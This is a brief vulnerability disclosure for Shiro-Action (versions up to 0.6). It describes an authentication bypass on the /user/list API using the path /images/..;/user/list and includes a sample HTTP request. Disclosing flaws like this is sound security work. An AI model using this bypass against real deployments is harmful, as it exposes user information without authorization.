There is an Incorrect Access Control vulnerability in Shiro-Action

[RacerZ-fighting]

[Suggested description]
Shiro-Action was found to have an Incorrect Access Control vulnerability up to 0.6, resulting in information leakage.

[Vulnerability Type]
Incorrect access control

[Vendor of Product]
https://github.com/zhaojun1998/Shiro-Action

[Affected Product Code Base]
all version (<= 0.6)

[Affected Component]
sentive APIs that require authentication

[Attack Type]
Remote

[Vulnerability details]
Directly send the payload below to the API /user/list will fail because of the authentication.

GET /user/list HTTP/1.1
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8088
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=53312df2-a8cf-4e2c-9cbe-9bc4ae405467

However, send the payload below to the API /images/..;/user/list will bypass the authentication.